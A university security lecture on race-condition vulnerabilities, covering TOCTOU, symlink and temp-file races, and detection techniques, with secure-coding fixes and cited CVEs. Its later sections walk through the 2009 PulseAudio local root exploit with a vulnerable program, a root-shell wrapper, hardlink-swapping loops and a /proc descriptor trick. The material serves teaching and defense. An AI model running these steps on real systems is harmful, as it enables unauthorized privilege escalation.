Race Conditions
Table of Contents
1 Abstract
Abstract: Race condition exploits are due to sloppy software development, perhaps taking second rank only to buffer overflow exploits. This lecture explains the race conditions and their exploits, and presents a few techniques that help in avoiding the exploit.
2 Objectives
<ol>
- Present a few real life examples of race condition exploits.
- Describe the exploit technique
- Describe several techniques of exploit avoidance.
</ol>
3 Race Conditions
- "Time of check to time of use (TOCTOU) is a class of software bug caused by changes in a system between the checking of a condition (such as a security credential) and the use of the results of that check. This is one example of a race condition."
- "Temporary file race vulnerabilities occur when privileged programs attempt to create temporary files in an unsafe manner. Unsafe means non-atomic with respect to an attacker's activities. There is no portable standard for safely/ atomically creating temporary files, and many OS have no safe temporary file creation at all."
- Race-Guard is a kernel enhancement that detects attempts to exploit temporary file race vulnerabilities, and does so with sufficient speed and precision that the attack can be halted before it takes effect.
- RaceGuard [Cowan et al. 2002] is a secure kernel modification which aims to prevent the temporary file creation race condition exploits. It detects the pertinent changes in the file system between the time an application probes for a nominated temporary file name and the time the file is created. In a RaceGuard kernel, each process keeps a cache of potential temporary file races. This cache is just a list of file names associated with the process descriptor. If the process probes for a file and it is non-existent, the process cache is updated with the name of the file. If file creation hits a file that already exists, and the name matches a name in RaceGuard cache, then it is regarded as a race attack and so the open system call aborts. If the file creation succeeds without conflicts, then it is cleared from the cache. Note that RaceGuard cannot defend against the file swap type of attacks.
- Race conditions arise from multiple processes/threads that operate on related entities in an OS that has preemptive scheduling. Any good OS book will describe race conditions. The effects are often an unexpected result in a computation, a deadlock, or a livelock.
- Within user processes, almost all race conditions reduce to races in the file system. Within OS kernels, race conditions are present in various places, e.g., in virtual memory management code.
- Exploits based on race conditions are subtle. They typically require repeated attempts within the short time period. These exploits can be eliminated by understanding the ideas and techniques of atomicity and mutual exclusion from concurrent programming courses. To keep up performance, the race condition eliminations have to be done after deep analyses. Real systems continue to suffer from race conditions because of sloppy design and construction.
4 Real Life Examples
4.1 Real Life Example: PulseAudio 2009
<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1894"> CVE-2009-1894: "Race condition in PulseAudio 0.9.9, 0.9.10, and 0.9.14 allows local users to gain privileges via vectors involving creation of a hard link, related to the application setting LDBINDNOW to 1, and then calling execv on the target of the /proc/self/exe symlink."
This exploit is further explained <a href="#PulseAudio2009"> later.
4.2 Real Life Example: Internet Explorer 2011
<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1257"> CVE-2011-1257: "Race condition in Microsoft Internet Explorer 6 through 8 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via vectors involving access to an object, aka 'Window Open Race Condition Vulnerability.' "
This vulnerability was discovered in Jan 2011 and a patch was released and publicly disclosed in August 2011. An attacker composes a web page with malicious code and when a user visits this page, the exploit happens.
4.3 Real Life Example: Firefox 2007
<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5960">
CVE-2007-5960: "Mozilla Firefox before 2.0.0.10 and SeaMonkey before
1.1.7 sets the Referer header to the window or frame in which script
is running, instead of the address of the content that initiated the
script, which allows remote attackers to spoof HTTP Referer headers
and bypass Referer-based CSRF protection schemes by setting
window.location and using a modal alert dialog that causes the wrong
Referer to be sent."
"… it was possible to generate a fake HTTP Referer header by exploiting a timing condition when setting the window.location property. This could be used to conduct a Cross-Site Request Forgery (CSRF) attack against websites that rely only on the Referer header as protection against such attacks."
"When navigation occurs due to setting window.location, the Referer header is supposed to reflect the address of the content which initiated the script. Instead, the referer was set to the address of the window (or frame) in which the script was running, and this vulnerability arises from that tiny difference. Using a modal alert() dialog Fleischer was able to suspend the attack script so that it did not load the target URI until after the attacker's initial content had been replaced by the intended referring page. When the Referer is set to the current URI of the script's window it is no longer the correct one."
4.4 Real Life Example: Windows Shortcut-Link 2010
<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2568"> CVE-2010-2568: "Windows Shell in Microsoft Windows XP SP3, Server 2003 SP2, Vista SP1 and SP2, Server 2008 SP2 and R2, and Windows 7 allows local users or remote attackers to execute arbitrary code via a crafted (1) .LNK or (2) .PIF shortcut file, which is not properly handled during icon display in Windows Explorer, as demonstrated in the wild in July 2010, and originally reported for malware that leverages CVE-2010-2772 in Siemens WinCC SCADA systems."
Summary of the exploit code at http://www.exploit-db.com/: "The .lnk exploitation suffers from a race condition as it executes the downloaded dll 3 times simultaneously. This hinders the proper exploitation of the victim in case the payload dll tries to write any file on the disk or tries to access and change any other resource on the victim system. First thing to be noted that the .lnk exploit is actually an undocumented DLL-Injection technique. The .lnk file will retrieve a file of type either .dll, .cpl or .ocx or extension which are legitimate dynamic libraries with DllMain() defined."
4.5 Real Life Examples: Linux
- https://www.exploit-db.com/exploits/43345/ Linux kernel < 4.10.15 - Race Condition Privilege Escalation 2017
- https://program.sha2017.org/system/event_attachments/attachments/000/000/111/original/a13xp0p0v_race_for_root_SHA2017.pdf SHA 2017, 50+ slides. Race for Root Analysis of the Linux Kernel Race Condition Exploit
- Linux Kernel
raw_sendmsg()Race Condition Arbitrary Code Execution Vulnerability CVE-2017-17712 - Linux Kernel CVE-2017-1000405 Local Race Condition Vulnerability
- CVE-2017-10661 Race condition in
fs/timerfd.cin the Linux kernel
5 Race Triggering Techniques
5.1 Time of Check/Time of Use (TOCTOU)
This section describes certain coding practices that introduce races, and their remedies. In all the code examples, error checks are not shown.
An exploit that has happened enough times since the 1980s is called the "Time of Check/Time of Use (TOCTOU)" attack: Suppose process A checked that a certain file exists and has certain attributes before locking the file and opening the file. By the time A opens it, the file could have been replaced with another. If the time gap between TOC and TOU is long (remember even a lowly PC can do 10 MIPS), developing an exploit is easy. Clever exploits work even when the gap is short. In modern OS on multicore CPUs, this situation has worsened because of threads. These are implemented as memory-sharing extremely lightweight versions of processes.
The following elaborates the above specific example, using file system operations, of the general pattern of TOCTOU vulnerability.
int access(const char *pathname, int mode);
FILE *fopen(const char *pathname, const char *mode);
...
char pnm[] = "some/path/name";
...
if (access(pnm, W_OK) == 0) {
f = fopen(pnm, "w+");
...
}
else
fprintf(stderr,"You do not seem to have write access to %s.\n", pnm);
Recall that access() checks whether the calling process can access the file named by pathname. If pathname is a symbolic link, it is dereferenced. The check is done using the calling process's real UID and GID, rather than the effective IDs as is done when actually attempting an operation (e.g., open(2)) on the file. This allows Set-User-ID programs to determine the invoking user's privileges.
However, a process/thread switch, caused by OS scheduling policies, may have happened after access() check but before fopen(). By the time the fopen() is performed by the iniating process in the next line, three things could have happened: (i) contents of the pnm[] may have changed, (ii) the permissions/content of the file referenced may have changed, and (iii) if the path specified was a (sym)link, the (sym)link may have changed. Note that (iii) is a more blatant version of (ii). This exploit is further explained <a href="#PulseAudio2009"> later.
5.2 Links Soft or Hard
The following example is adapted from <a href="https://www.securecoding.cert.org/"> https://www.securecoding.cert.org/.
Recall that the POSIX lstat()= function collects information about a symbolic link rather than its target, in contrast to stat()=. The open() function does follow symbolic links and includes a check on deep links. We check the stmode field to determine if the given file name is a symbolic link, and then open it if not so.
char *pathname = ...;
char userbuf[] = ...;
...
struct stat statOne;
...
if ((lstat(pathname, &statOne) == 0) && !S_ISLNK(statOne.st_mode)) {
int fd = open(pathname, O_RDWR), nb;
...
nb = write(fd, userbuf, sizeof(userbuf));
...
}
This code contains a TOCTOU race condition because both lstat and open operate on a path name that can be manipulated asynchronously by other processes. We can check if an exploit happened by calling fstat() on the file descriptor returned by open(), and comparing the file information returned by the calls to lstat() and fstat() to ensure that the files are the same.
char *pathname = ...;
char userbuf[] = ...;
...
struct stat statOne, statTwo;
...
if ((lstat(pathname, &statOne) == 0) && !S_ISLNK(statOne.st_mode)) {
int fd = open(pathname, O_RDWR), nb;
int rx = fstat(fd, &statTwo);
if ( statOne.st_mode == statTwo.st_mode
&& statOne.st_ino == statTwo.st_ino
&& statOne.st_dev == statTwo.st_dev ) {
/* no switcheroo occurred */
...
nb = write(fd, userbuf, sizeof(userbuf));
...
}
}
This code eliminates the exploit condition because fstat() is applied to file descriptors. Comparing i-nodes, using the stino fields, modes, and devices, using the stdev fields, ensures that the file passed to lstat() is the same as the file passed to fstat().
We should always: (i) Check for the existence of links when dealing with files; (ii) Canonicalize path names before validation. Absolute or relative path names may contain file links such as symbolic (soft) links, hard links, short cuts, shadows, aliases, and junctions. These file links must be fully resolved before any file validation operations are performed.
5.3 Temporary Files
All OS have directories that permit the creation of files within by
arbitrary processes. On Linux, we have /tmp/ and
/var/tmp/. These have been fertile grounds for race
condition exploits. Often an application computes updates to its
persistent database in a temporary file and then applies the updates.
Using race condition exploits, a file swap can be made.
On a system that needs to be secure, the /tmp and /var/tmp should be separate partitions mounted with nosuid and noexec options. In general: Create temporary files securely. Remove temporary files before termination of the process. Do not create temporary files in shared directories.
5.4 Threads and Processes
When forking a process, file descriptors are copied to the child process which can result in concurrent operations on the file. This can cause data to be read or written in a non-deterministic order, creating race conditions and unpredictable behavior. We should close the file descriptor in the child after forking and then reopen it, ensuring that the file has not been modified in the meantime.
Do not use threads that can be canceled asynchronously.
5.5 Signals
Avoid using signals to implement normal functionality. Do not use signals to terminate threads. Do not send an uncaught signal to kill a thread because the signal kills the entire process, not just the individual thread.
5.6 iNotify
The iNotify framework on Linux registers your notification hooks. These are called when a certain event happens (e.g. creating a target file). There is multi-core concurrency, and the target process can run on a different CPU-core than the exploitation process which no longer relies on OS scheduler to switch the target at the right moment.
5.7 Shared Variables
Ensure that compound operations on shared variables are atomic.
Expressions that include postfix or prefix increment (++), postfix or
prefix decrement (--), or compound assignment operators always result
in compound operations. Compound assignment expressions use operators
such as *=, /=, %=, +=, -=, =, >>>=, ^= and |=.
6 Detection
The general solution to race conditions is to use a locking mechanism to prevent one process from changing a variable until another is finished with it. "Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable. White Box Common idioms are detectable in white box analysis, such as TOCTOU file operations (CWE-367), or double-checked locking (CWE-609). Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect."
Elimination of race conditions is near impossible because the TOCTOU pattern is necessary in many programs. However, we can make exploits based on races more difficult by adding more race conditions. To compromise the security of the program, attackers need to win all these race conditions.
7 PulseAudio 2009 Exploit Further Explained
On Linux, PulseAudio is a network-enabled sound server. In 2009, its binary was installed setuid root, and did not drop privileges before re-executing itself. A user who has write access to any directory on the file system containing /usr/bin can exploit the race condition vulnerability to execute arbitrary code with root privileges. The immediate workaround is to ensure that the file system holding /usr/bin does not contain directories that are writable for unprivileged users. This example is further explained below [from http://blog.stalkr.net]. Note also that recent (2011+) Linux kernels no longer permit hard links to suid-root executables.
The Pulseaudio exploit is an instance of TOCTOU. It can be reduced to the code shown below; let us call it vulnerable.c.
#include <stdio.h>
char buf[4096], * args[] = { buf, "dummyArg", 0 };
int main(int argc, char *argv[], char **envp)
{
if (argc < 2) {
readlink("/proc/self/exe", buf, sizeof(buf));
usleep(1000);
execve(args[0], args, 0);
}
printf("argc %d\n", argc);
return 0;
}
To experience the PulseAudio race reliably, we need to find a way to stop the execution of the process before its main().
8 Example Exploit 1: Classic Race Exploitation
Here is a wrapper.c to give us a shell with euid (geteuid) as uid (setuid). We now open two terminals.
#include < stdio.h>
char *args[] = { "/bin/bash", 0 };
int main()
{
int i = 0, j = geteuid();
if (j == 0) {
setuid(0);
i = execv(args[0], args);
}
printf("euid %d i %d\n", j, i);
return i;
}
In the first terminal, prepare to trigger the race condition by creating a hard (or soft) link to the vulnerable program, then place our program (proof-of-concept poc) under the same filename, and loop.
while :; do ln -f ./vulnerable poc; ln -f ./wrapper poc; done
In the second terminal, just run the hardlink. We lower the priority of the process to increase our chances for the race condition to be triggered. #+beginsrc cpp class="brush: bash">while :; do nice -n 20 ./poc; done #+endsrc We wait and the shell should appear …, but it can take a long time.
9 Example Exploit 2: Use /proc File Descriptors
Create the hardlink, then open a file descriptor in the current shell to it:
$ ln vulnerable poc $ exec 3< ./poc $ ls -l /proc/$$/fd/3 lr-x------ 1 stalkr stalkr 64 Nov 1 03:39 /proc/2074/fd/3 -> /home/stalkr/poc
It is important to realize that at this point the program has not been started, we just have a file descriptor to the program, and a file descriptor has all information about owner and setuid bit.
Now we delete our hardlink to the setuid program:
$ rm -f poc
Now if you check the file descriptor, it should have appended to its destination " (deleted)" and the link is broken:
$ ls -l /proc/$$/fd/3 lr-x------ 1 stalkr stalkr 64 Nov 1 03:39 /proc/2074/fd/3 -> /home/stalkr/poc (deleted)
On some kernels it does not change the destination, you just see that the link is broken if you enable ls colors (green ok, red broken).
Then just place the program you want at this destination. Here we will just use a setuid(geteuid)+execve(/bin/sh) wrapper. =$ mv wrapper 'poc (deleted)'= On kernels where the fd symlink has not changed its destination, you just have to rename it to poc.
The final step is to execute the program. We do that by using shell built-in exec on the file descriptor and it has the effect of calling execve() on this file descriptor. But remember, this file descriptor has root owner and setuid bit, so it executes the vulnerable program (still on disk because it was a hardlink) with these properties. The vulnerable program then executes itself via /proc/self/exe which now points to our program, and we eventually get the euid root:
$ exec /proc/$$/fd/3 sh-4.1# id uid=0(root) gid=1000(stalkr) groups=0(root),1000(stalkr)
Race won in one shot!
Update: on newer (> 2010) kernels, this exploitation technique is no longer usable because file is renamed as (deleted) /path/to/file.
10 Acknowledgements
These lecture materials are gleaned from many sources. All are presented after careful reading. In some cases, I may have neglected proper attribution. I assure the reader it is not because I claim authorship. Indeed, in the lectures there is hardly any thing new that I have contributed. Suggestions for improvement are always welcome.
11 References
- Apple.com, http://developer.apple.com/library/mac/#documentation/Security/Conceptual/SecureCodingGuide/ Secure Coding Guide, 2012. https://www.apple.com/business/site/docs/iOS_Security_Guide.pdf 2018 Reference.
- <a href="http://cwe.mitre.org/"> Mitre.org, CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'). Required Visit.
- Mark G. Graff and Kenneth R. van Wyk, Secure Coding: Principles & Practices (book), O'Reilly.com, http://www.securecoding.org/, 2003. Reference.
- Eugene Tsyrklevich and Bennet Yee, "Dynamic Detection and Prevention of Race Conditions in File Accesses", 12th USENIX Security Symposium, August 2003. Recommended Reading.
- Race conditions in signalhandlers: (i) https://www.owasp.org/ index.php/ Race_ condition_ in_ signal_ handler, (ii) http://lcamtuf.coredump.cx/ signals.txt. Recommended Reading.
- David A. Wheeler, Secure Programming for Linux and Unix HOWTO – Creating Secure Software (free book) http://www.dwheeler.com/ secure-programs/ Section on Avoid Race Conditions: Recommended Reading.
- David A. Wheeler, Prevent race conditions, http://www.ibm.com/developerworks/linux/library/l-sprace/index.html 2004. Recommended Reading.
- Michal Zalewski, Browser Security Handbook, 2009. <a href="http://code.google.com/p/browsersec/wiki/Main"> http://code.google.com/p/browsersec/ wiki/Main Reference.
11.1 References
- Crispin Cowan, https://www2.seas.gwu.edu/~simhaweb/security/spring2009/papers/Cowan.pdf, Software Security for Open-Source Systems, 2009, Recommended Reading https://www.researchgate.net/publication/2852243_RaceGuard_Kernel_Protection_from_Temporary_File_Race_Vulnerabilities 2002 https://slideplayer.com/slide/8541919/ 18 Slides. Reference
- Dirty COW:: "A race condition was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system."
11.2 References
- https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails The bug has existed since around 2.6.22 (released in 2007) and was fixed on Oct 18, 2016. Reference.
- Matt Bishop, ./UCDavisTR95-RaceConditionFlaw.pdf
- ./tocttou-porter.pptx Slides
- https://github.com/xairy/linux-kernel-exploitation